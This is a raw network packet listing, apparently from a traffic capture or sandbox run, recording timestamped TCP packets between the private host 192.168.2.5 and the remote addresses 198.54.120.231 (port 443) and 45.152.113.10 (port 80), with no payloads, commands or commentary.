Sep 10, 2024 19:36:16.804482937 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.804502964 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.804527998 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.804550886 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.852267981 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.852287054 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.852351904 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.852361917 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.852416039 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.854619026 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.854635000 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.854691029 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.854700089 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.854718924 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.854737997 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.854945898 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.854964972 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855019093 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.855026960 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855073929 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.855530024 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855546951 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855597973 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.855607033 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855621099 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.855648994 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.855907917 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855927944 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.855982065 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.855990887 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.856004953 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.856038094 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.893773079 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.893801928 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.893867016 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.893881083 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.894038916 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.894038916 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.894203901 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.894227028 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.894277096 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.894295931 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.894320011 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.894340992 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.895085096 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.895103931 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.895150900 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.895160913 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.895199060 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.944916010 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.944947004 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.945013046 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.945029974 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.945044041 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.945074081 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.947196007 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.947226048 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.947280884 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.947292089 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.947329998 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.947541952 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.947562933 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.947598934 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.947607040 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.947621107 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.947643042 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.948451996 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.948472023 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.948515892 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.948523998 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.948537111 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.948561907 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.949002981 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.949048996 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.949093103 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.949101925 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.949152946 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.984726906 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.984754086 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.984842062 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.984855890 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.984899044 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.985555887 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.985601902 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.985626936 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.985634089 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.985649109 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.985672951 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.985944033 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.985985041 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.986006975 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.986013889 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:16.986030102 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:16.986048937 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.034065962 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.034131050 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.034193993 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.034219027 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.034269094 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.034327030 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.036019087 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.036041975 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.036098003 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.036147118 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.036166906 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.036195040 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.036298990 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.036314964 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.036371946 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.036385059 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.036436081 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.037000895 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.037015915 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.037079096 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.037106991 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.037157059 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.037237883 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.037251949 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.037302971 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.037314892 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.037364006 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.075503111 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.075520992 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076090097 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.076116085 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076184034 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.076292038 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076308012 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076354980 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.076363087 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076396942 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.076412916 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.076775074 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076793909 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076853037 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.076860905 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.076904058 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.083797932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:17.083870888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:17.124639034 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.124711990 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.124759912 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.124769926 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.124804974 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.124830961 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.126815081 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.126835108 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.126915932 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.126924038 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.126970053 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.127089024 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127104044 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127159119 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.127166986 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127218962 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.127609015 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127625942 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127685070 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.127691984 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127736092 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.127891064 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127907991 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.127964020 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.127971888 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.128019094 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.166197062 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.166218996 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.166428089 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.166435957 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.166491985 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.166913986 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.166929960 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.166999102 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.167006016 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.167057037 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.167701960 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.167731047 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.167782068 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.167788982 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.167829037 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.167848110 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.215456963 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.215478897 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.215560913 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.215568066 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.215619087 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.217360020 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.217380047 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.217456102 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.217463017 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.217509031 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.217756033 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.217777014 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.217833042 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.217839956 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.217890978 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.218219995 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.218239069 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.218295097 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.218302965 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.218352079 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.218581915 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.218600035 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.218662977 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.218669891 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.218700886 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.218719959 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.256944895 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.256972075 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.257152081 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.257162094 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.257215977 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.257734060 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.257750988 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.257808924 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.257814884 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.257855892 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.258275032 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.258311987 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.258378029 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.258385897 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.258416891 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.258434057 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.306014061 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.306032896 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.306277990 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.306299925 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.306459904 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308074951 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308090925 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308173895 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308195114 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308218956 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308237076 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308305979 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308320999 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308366060 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308378935 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308403969 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308420897 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.308928967 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.308943987 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.309029102 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.309042931 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.309092999 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.309262991 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.309277058 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.309348106 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.309361935 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.309412003 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.347584963 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.347606897 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.347697020 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.347711086 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.347760916 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.348602057 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.348644018 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.348710060 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.348717928 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.348763943 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.348953962 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.349005938 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.349015951 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.349028111 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.349061966 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.349076033 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.396770954 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.396799088 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.396862984 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.396878004 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.396904945 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.396923065 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.398785114 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.398798943 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.398860931 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.398875952 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.398900986 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.398922920 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.399096966 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.399111032 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.399157047 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.399169922 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.399198055 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.399226904 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.399805069 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.399821043 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.399872065 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.399883986 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.399915934 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.399938107 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.400160074 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.400175095 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.400223970 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.400237083 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.400264978 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.400285006 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.438172102 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.438189030 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.438263893 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.438290119 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.438347101 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.439183950 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.439205885 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.439305067 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.439305067 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.439326048 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.439399958 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.439807892 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.439836025 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.439894915 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.439909935 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.439960957 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.487633944 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.487656116 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.487766027 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.487802029 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.487863064 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.489406109 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.489474058 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.489490032 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.489515066 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.489546061 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.489573956 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.489765882 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.489804983 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:17.489819050 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.489866018 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:17.821562052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:17.821902990 CEST	49709	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:17.826853037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:17.826869965 CEST	80	49709	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:17.826981068 CEST	49709	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:17.827090979 CEST	49709	80	192.168.2.5	45.152.113.10
